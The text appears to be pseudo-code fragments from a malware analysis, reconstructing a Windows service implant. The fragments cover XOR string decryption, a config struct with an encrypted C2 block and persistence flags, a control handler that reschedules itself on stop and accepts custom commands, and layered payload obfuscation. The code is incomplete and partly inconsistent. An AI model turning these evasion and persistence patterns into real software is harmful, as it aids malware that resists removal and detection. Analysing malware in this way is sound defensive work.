// Example of encrypted string reconstruction (pseudo-code)
    function DecryptString(encryptedData: array of Byte): String;
    var
      i: Integer;
      key: Byte;
    begin
      key := GetKeyFromEnvironment;
      SetLength(Result, Length(encryptedData));
      for i := 0 to High(encryptedData) do
        Result[i+1] := Chr(encryptedData[i] xor key);
    end;
    // Configuration data storage
    const
      ENCRYPTED_CONFIG: array [0..47] of Byte = (
        $12, $45, $78, $AB, $CD, $EF, $34, $56,
        $78, $9A, $BC, $DE, $F0, $12, $34, $56,
        $78, $9A, $BC, $DE, $F0, $12, $34, $56,
        $78, $9A, $BC, $DE, $F0, $12, $34, $56,
        $78, $9A, $BC, $DE, $F0, $12, $34, $56,
        $78, $9A, $BC, $DE, $F0, $12, $34, $56
      );

// Service configuration structure (reconstructed)
    typedef struct _SERVICE_CONFIG {
      DWORD dwServiceType;
      DWORD dwStartType;
      DWORD dwErrorControl;
      CHAR lpBinaryPathName[MAX_PATH];
      CHAR lpServiceStartName[MAX_PATH];
      CHAR lpDisplayName[MAX_PATH];
      CHAR lpDescription[MAX_PATH];
      DWORD dwPersistenceFlags;
      BYTE encryptedC2Config[64];
      DWORD dwCheckInInterval;
      DWORD dwFailedCheckInThreshold;
    } SERVICE_CONFIG, *PSERVICE_CONFIG;
    // Service control handler with malicious functionality
    DWORD WINAPI ServiceCtrlHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext)
    {
      PMALWARE_SERVICE_CONTEXT pContext = (PMALWARE_SERVICE_CONTEXT)lpContext;
      switch (dwControl) {
        case SERVICE_CONTROL_STOP:
          // Perform cleanup and prepare for restart
          LogEvent("Service stopping", EVENTLOG_INFORMATION_TYPE);
          ScheduleRestart();
          break;
        case SERVICE_CONTROL_PAUSE:
          // Temporarily suspend malicious activities
          SuspendOperations();
          break;
        case SERVICE_CONTROL_CONTINUE:
          // Resume operations after pause
          ResumeOperations();
          break;
        case SERVICE_CONTROL_INTERROGATE:
          // Respond to status queries
          break;
        default:
          // Custom control codes for malware functionality
          if (dwControl >= 128 && dwControl <= 255) {
            HandleCustomCommand(dwControl, pContext);
          }
          break;
      }
      return NO_ERROR;
    }

// Encryption process pseudo-code
    void EncryptPayload(PVOID pPayload, DWORD dwPayloadSize, PCSTR pszKey)
    {
      // Stage 1: XOR encryption with key derivation
      XORCrypt(pPayload, dwPayloadSize, DeriveKey(pszKey, 32));
      // Stage 2: Custom block cipher
      BlockCipherEncrypt(pPayload, dwPayloadSize, DeriveKey(pszKey, 64));
      // Stage 3: Base64 encoding with custom alphabet
      CustomBase64Encode(pPayload, dwPayloadSize);
      // Stage 4: Additional obfuscation
      AddObfuscationLayer(pPayload, dwPayloadSize);
    }
    // Key derivation function using environmental factors
    BOOL DeriveKey(PCSTR pszInputKey, DWORD dwKeySize, PBYTE pbOutputKey)
    {
      // Combine input key with system-specific data
      BYTE systemData[64];
      GetSystemUniqueData(systemData);
      // Cryptographic mixing using HMAC-SHA256
      CHMAC_SHA256 hmac;
      hmac.Init();
      hmac.Update((BYTE*)pszInputKey, strlen(pszInputKey));
      hmac.Update(systemData, sizeof(systemData));
      hmac.Final();
      // Expand or contract to desired key size
      return KeyDerivationFunction(hmac.GetHash(), SHA256_DIGEST_SIZE,
                                     pbOutputKey, dwKeySize);
    }